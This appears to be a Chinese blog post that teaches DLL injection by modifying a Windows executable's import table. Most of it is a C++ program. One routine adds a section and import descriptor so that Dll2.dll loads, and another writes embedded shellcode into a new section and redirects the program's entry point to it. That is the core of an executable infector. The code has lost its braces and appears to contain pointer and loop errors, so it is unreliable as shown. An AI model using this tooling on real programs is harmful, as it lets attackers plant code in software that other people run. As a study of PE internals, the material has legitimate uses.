PE 通过导入表注入 Dll

Posted dounine

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PE 通过导入表注入 Dll相关的知识,希望对你有一定的参考价值。

导入表注入,当程序被加载时,系统会根据程序导入表信息来加载需要用到的dll,导入表注入的原理就是修改程序的导入表,将自己的dll添加到程序的导入表中,这样程序运行时可以将自己的DLL加载到程序的进程空间。

  1. 将要注入dll的程序写入到内存中,并新增一个节
  2. 拷贝原来的导入表到新节中
  3. 在新节拷贝的导入表后新增一个导入表_IMAGE_IMPORT_DESCRIPTOR
  4. 增加8字节的INT表和8字节的IAT表
  5. 存储要注入的dll的名称
  6. 增加一个_IMAGE_IMPORT_BY_NAME结构,并将函数名称存进结构体第一个变量后的内存中
  7. 将_IMAGE_IMPORT_BY_NAME结构的地址的RVA赋值给INT表和IAT表第一项
  8. 将dll名称所在位置的首地址的RVA赋值给新增导入表的Name
  9. 修改IMAGE_DATA_DIRECTORY结构的VirtualAddress和Size

提示

  1. 根据IMAGE_DATA_DIRECTORY结构的size去拷贝导入表,将会多拷贝20字节的0,这也是导入表结束的标志,新增导入表的时候应该将此处的0进行覆盖,因为20字节的0,否则系统不会加载新增的导入表代表导入表结束了。
  2. INT表和IAT表的8字节是因为这两张表至少包含一项内容,才会被系统加载,剩余的4字节为0标志着表的结束。
  3. 结构体存储地址的变量存储都是RVA,使用时需要进行转换,有时是FOA转RVA,有时是RVA转FOA 。

代码

#include <iostream>
#include <Windows.h>
#include <tchar.h>
#include <sys/stat.h>
#include <filesystem>

using namespace std;

LPVOID readFile(PTCHAR fileName, size_t &fileSize) 
    FILE *file;
    fopen_s(&file, fileName, "rb");
    if (nullptr == file) 
        cout << "file open fail" << endl;
        return nullptr;
    
    struct stat fileStat;
    stat(fileName, &fileStat);
    size_t size = fileStat.st_size;
    fileSize = size;
    auto fileBuffer = malloc(size);
    if (nullptr == fileBuffer) 
        cout << "malloc fail" << endl;
        return nullptr;
    
    memset(fileBuffer, 0, size);
    fread(fileBuffer, size, 1, file);
    fclose(file);
    return fileBuffer;


BOOL writeFile(LPVOID fileBuffer, unsigned long size, PTCHAR newFileName) 
    FILE *file = nullptr;
    fopen_s(&file, newFileName, "wb");
    if (nullptr == file) 
        cout << "file create fail" << endl;
        return FALSE;
    
    fwrite(fileBuffer, 1, size, file);
    fclose(file);
    return TRUE;


PIMAGE_NT_HEADERS getNtHeader(LPVOID buffer) 
    auto docHeader = (PIMAGE_DOS_HEADER) buffer;
    auto ntHeader = (PIMAGE_NT_HEADERS32) ((PTCHAR) buffer + docHeader->e_lfanew);
    return ntHeader;


PIMAGE_OPTIONAL_HEADER getOptionalHeader(LPVOID buffer) 
    auto ntHeader = getNtHeader(buffer);
    return &ntHeader->OptionalHeader;


PIMAGE_FILE_HEADER getFileHeader(LPVOID buffer) 
    auto ntHeader = getNtHeader(buffer);
    return &ntHeader->FileHeader;


PIMAGE_SECTION_HEADER getFirstSectionHeader(LPVOID buffer) 
    auto optionHeader = getOptionalHeader(buffer);
    auto ntHeader = getNtHeader(buffer);
    return (PIMAGE_SECTION_HEADER) ((PTCHAR) optionHeader + ntHeader->FileHeader.SizeOfOptionalHeader);


PIMAGE_SECTION_HEADER getLatestSectionHeader(LPVOID buffer) 
    return (PIMAGE_SECTION_HEADER) (getFirstSectionHeader(buffer) + getFileHeader(buffer)->NumberOfSections - 1);


size_t align(size_t size, int align) 
    return ((size / align) + 1) * align;


size_t peSize(LPVOID fileBuffer) 
    auto latestSectionHeader = getLatestSectionHeader(
            fileBuffer);
    return latestSectionHeader->PointerToRawData + latestSectionHeader->SizeOfRawData;


LPVOID Rva2Foa(LPVOID buffer, DWORD rva) 
    auto ntHeader = getNtHeader(buffer);
    auto firstSectionHeader = getFirstSectionHeader(buffer);
    for (int i = 0; i < ntHeader->FileHeader.NumberOfSections - 1; i++) 
        auto section = firstSectionHeader + i;
        if (rva >= section->VirtualAddress && rva < (section->VirtualAddress + section->Misc.VirtualSize)) 
            return (LPVOID) (rva - section->VirtualAddress + section->PointerToRawData);
        
    
    cout << "Rva2Foa error:" << rva << endl;
    return nullptr;


LPVOID Foa2Rva(LPVOID buffer, DWORD foa) 
    auto ntHeader = getNtHeader(buffer);
    auto firstSectionHeader = getFirstSectionHeader(buffer);
    if (foa <= ntHeader->OptionalHeader.SizeOfHeaders) 
        return (LPVOID) foa;
    
    for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) 
        auto section = firstSectionHeader + i;
        if (foa >= section->PointerToRawData && foa < (section->PointerToRawData + section->SizeOfRawData)) 
            return (LPVOID) (foa - section->PointerToRawData + section->VirtualAddress);
        
    
    cout << "Foa2Rva error:" << foa << endl;
    return nullptr;


LPVOID addSection(LPVOID fileBuffer, PTCHAR sectionName, size_t sectionCodeSize) 
    if (strlen(sectionName) >= 8) 
        cout << "sectionName size < 8" << endl;
        return nullptr;
    
    auto ntHeader = getNtHeader(fileBuffer);
    size_t fileAlign = ntHeader->OptionalHeader.FileAlignment;
    size_t fileSize = peSize(fileBuffer);
    size_t outFileSize = fileSize + align(sectionCodeSize, fileAlign);
    auto newFileBuffer = malloc(outFileSize);
    memset(newFileBuffer, 0, outFileSize);
    memcpy(newFileBuffer, fileBuffer, fileSize);
    free(fileBuffer);
    auto newFileNtHeader = getNtHeader(newFileBuffer);
    auto newOptionHeader = &newFileNtHeader->OptionalHeader;
    auto newFileSectionHeader =
            (PIMAGE_SECTION_HEADER) ((PTCHAR) newOptionHeader +
                                     sizeof(*newOptionHeader));

    if ((newFileSectionHeader->PointerToRawData -
         (DWORD) (newFileSectionHeader + newFileNtHeader->FileHeader.NumberOfSections)) < 0x50) 
        cout << "table space not enought" << endl;
        return nullptr;
    

    size_t sectionAlign = newFileNtHeader->OptionalHeader.SectionAlignment;
    auto newFileLatestSectionHeader =
            (PIMAGE_SECTION_HEADER) (newFileSectionHeader + (newFileNtHeader->FileHeader.NumberOfSections - 1));
    auto addSectionHeader = newFileLatestSectionHeader + 1;


    memcpy(addSectionHeader->Name, sectionName, 8);

    addSectionHeader->Misc.VirtualSize = align(sectionCodeSize, sectionAlign);
    addSectionHeader->VirtualAddress = align(
            newFileLatestSectionHeader->VirtualAddress + newFileLatestSectionHeader->Misc.VirtualSize,
            sectionAlign);
    addSectionHeader->SizeOfRawData = align(sectionCodeSize, fileAlign);
    addSectionHeader->PointerToRawData =
            newFileLatestSectionHeader->PointerToRawData + newFileLatestSectionHeader->SizeOfRawData;
    addSectionHeader->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;

    newFileNtHeader->FileHeader.NumberOfSections += 1;

    auto firstSection = getFirstSectionHeader(newFileBuffer);
    auto latestSection = (DWORD) (getLatestSectionHeader(newFileBuffer) + 1);
    auto ssize = (DWORD) newFileBuffer + firstSection->PointerToRawData - latestSection;

    cout << "space size : " << ssize << " --- " << "code size : " << sectionCodeSize << endl;
    cout << latestSection << ":" << (DWORD) (newFileSectionHeader + newFileNtHeader->FileHeader.NumberOfSections)
         << endl;

//    for (int i = 1; i < newFileNtHeader->FileHeader.NumberOfSections; i++) 
//        newFileSectionHeader[i - 1].Misc.VirtualSize =
//                newFileSectionHeader[i].VirtualAddress - newFileSectionHeader[i - 1].VirtualAddress;
//    

    newFileNtHeader->OptionalHeader.SizeOfImage =
            addSectionHeader->VirtualAddress + addSectionHeader->Misc.VirtualSize;
    newFileNtHeader->OptionalHeader.SizeOfHeaders += sizeof(*addSectionHeader);
    return newFileBuffer;


/**
 * pe文件注入shellcode
 */
void hackPe() 
    char shellcode[] = "\\x31\\xd2\\xb2\\x30\\x64\\x8b\\x12\\x8b\\x52\\x0c\\x8b\\x52\\x1c\\x8b\\x42"
                       "\\x08\\x8b\\x72\\x20\\x8b\\x12\\x80\\x7e\\x0c\\x33\\x75\\xf2\\x89\\xc7\\x03"
                       "\\x78\\x3c\\x8b\\x57\\x78\\x01\\xc2\\x8b\\x7a\\x20\\x01\\xc7\\x31\\xed\\x8b"
                       "\\x34\\xaf\\x01\\xc6\\x45\\x81\\x3e\\x46\\x61\\x74\\x61\\x75\\xf2\\x81\\x7e"
                       "\\x08\\x45\\x78\\x69\\x74\\x75\\xe9\\x8b\\x7a\\x24\\x01\\xc7\\x66\\x8b\\x2c"
                       "\\x6f\\x8b\\x7a\\x1c\\x01\\xc7\\x8b\\x7c\\xaf\\xfc\\x01\\xc7\\x68\\x79\\x74"
                       "\\x65\\x01\\x68\\x6b\\x65\\x6e\\x42\\x68\\x20\\x42\\x72\\x6f\\x89\\xe1\\xfe"
                       "\\x49\\x0b\\x31\\xc0\\x51\\x50\\xff\\xd7";;
    string currentPath = filesystem::current_path().u8string();
    string fileNameStr = currentPath + R"(\\..\\resources\\Demo.exe)";
    PTCHAR fileName = fileNameStr.data();
    string fileNamePeStr = currentPath + R"(\\..\\resources\\DemoPe.exe)";
    PTCHAR fileNamePe = fileNamePeStr.data();
    size_t fileSize;
    LPVOID fileBuffer = readFile(fileName, fileSize);
    LPVOID newFileBuffer = addSection(fileBuffer, (PTCHAR) ".import", sizeof(shellcode));
    auto ntHeader = getNtHeader(newFileBuffer);
    auto latestSectionHeader = getLatestSectionHeader(
            newFileBuffer);
    memcpy((PTCHAR) newFileBuffer + latestSectionHeader->PointerToRawData, shellcode, sizeof(shellcode));
    ntHeader->OptionalHeader.AddressOfEntryPoint = latestSectionHeader->VirtualAddress;
    size_t outFileSize = peSize(newFileBuffer);
    writeFile(newFileBuffer, outFileSize, fileNamePe);
    free(newFileBuffer);


void peInject() 
    PTCHAR sectionName = ".import";
    PTCHAR injectDllName = "Dll2.dll";
    PTCHAR injectFunctionName = "ExportFunction";
    string currentPath = filesystem::current_path().u8string();
    string fileNameStr = currentPath + R"(\\..\\resources\\Demo.exe)";
    string fileNameNewStr = currentPath + R"(\\..\\resources\\DemoNew.exe)";
    PTCHAR fileNameNewPe = fileNameNewStr.data();
    PTCHAR fileName = fileNameStr.data();
    size_t fileSize;
    LPVOID fileBuffer = readFile(fileName, fileSize);
    auto optionHeader = getOptionalHeader(fileBuffer);
    auto importDirectory = &optionHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    size_t inaSize = 0x0;
    size_t iatSize = 0x10;
    size_t dllNameLen = strlen(injectDllName) + 1;
    size_t newDataDirectoryLen = sizeof(IMAGE_IMPORT_DESCRIPTOR);
    size_t emptyDataDirectoryLen = newDataDirectoryLen;
    size_t functionNameLen = strlen(injectFunctionName) + 1;
    size_t spaceLen = 0x2;
    size_t sectionLength =
            importDirectory->Size + newDataDirectoryLen + emptyDataDirectoryLen + inaSize + iatSize + dllNameLen +
            functionNameLen + spaceLen;

    auto firstSection = getFirstSectionHeader(fileBuffer);
    auto fileAlign = optionHeader->FileAlignment;
    auto sectionAlign = optionHeader->SectionAlignment;

    LPVOID newFileBuffer = addSection(fileBuffer, sectionName, sectionLength);
    auto dataDirectory = &getOptionalHeader(newFileBuffer)->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    auto latestSection = getLatestSectionHeader(newFileBuffer);
    auto newSectionFoa = (PDWORD) ((DWORD) newFileBuffer + latestSection->PointerToRawData);
    auto dataDirectionFoa = Rva2Foa(newFileBuffer, dataDirectory->VirtualAddress);

    auto oldImportDirectionAddr = (PIMAGE_IMPORT_DESCRIPTOR) ((DWORD) newFileBuffer + (DWORD) dataDirectionFoa);

    memcpy(newSectionFoa, oldImportDirectionAddr, dataDirectory->Size);

    auto newImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR) (
            (DWORD) newSectionFoa + dataDirectory->Size - sizeof(IMAGE_IMPORT_DESCRIPTOR));
    auto pIntTble = (PIMAGE_THUNK_DATA) ((DWORD) newImportDescriptor + 0x28);
    auto originPIntTable = pIntTble;
    //int
    pIntTble++;
    pIntTble->u1.Ordinal = 0x0;
    pIntTble++;

    //iat
    auto pIatTable = pIntTble;
    auto originPIatTable = pIatTable;
    pIatTable++;
    pIatTable->u1.Ordinal = 0x0;
    pIatTable++;

    //dll name
    auto dllNameAddr = (PDWORD) pIatTable;
    memcpy(dllNameAddr, injectDllName, strlen(injectDllName) + 1);

    //image_import_by_name
    auto functionNameAddr = (PIMAGE_IMPORT_BY_NAME) (PDWORD) (dllNameAddr + strlen(injectDllName) + 1);
    auto pFunctionName = (LPVOID) ((DWORD) functionNameAddr + 0x2);
    memcpy(pFunctionName, injectFunctionName, strlen(injectFunctionName) + 1);

    //copy image_import_by_name to iat and int
    originPIntTable->u1.AddressOfData = (DWORD) Foa2Rva(newFileBuffer,
                                                        (DWORD) functionNameAddr - (DWORD) newFileBuffer);
    originPIatTable->u1.AddressOfData = originPIntTable->u1.Ordinal;

    //revise name OriginFirstThunk , FirstThunk
    newImportDescriptor->Name = (DWORD) Foa2Rva(newFileBuffer,
                                                (DWORD) dllNameAddr - (DWORD) newFileBuffer);
    newImportDescriptor->OriginalFirstThunk = (DWORD) Foa2Rva(newFileBuffer, (DWORD) originPIntTable -
                                                                             (DWORD) newFileBuffer);
    newImportDescriptor->FirstThunk = (DWORD) Foa2Rva(newFileBuffer, (DWORD) originPIatTable -
                                                                     (DWORD) newFileBuffer);

    //revise image_data_directory.virtualaddress and size
    dataDirectory->VirtualAddress = (DWORD) Foa2Rva(newFileBuffer,
                                                    latestSection->PointerToRawData);
    dataDirectory->Size += sizeof(IMAGE_IMPORT_DESCRIPTOR);

    size_t newFileSize = peSize(newFileBuffer);
    writeFile(newFileBuffer, newFileSize, fileNameNewPe);


int main() 
    peInject();
    return 0;


以上是关于PE 通过导入表注入 Dll的主要内容,如果未能解决你的问题,请参考以下文章

PE 通过导入表注入 Dll

PE格式:手工实现IAT导入表注入劫持

Dll注入:修改PE文件 IAT注入

[DLL注入的方法]静态修改PE输入表法

易语言dll劫持注入写法

[DLL注入的方法]进程创建期修改PE输入表法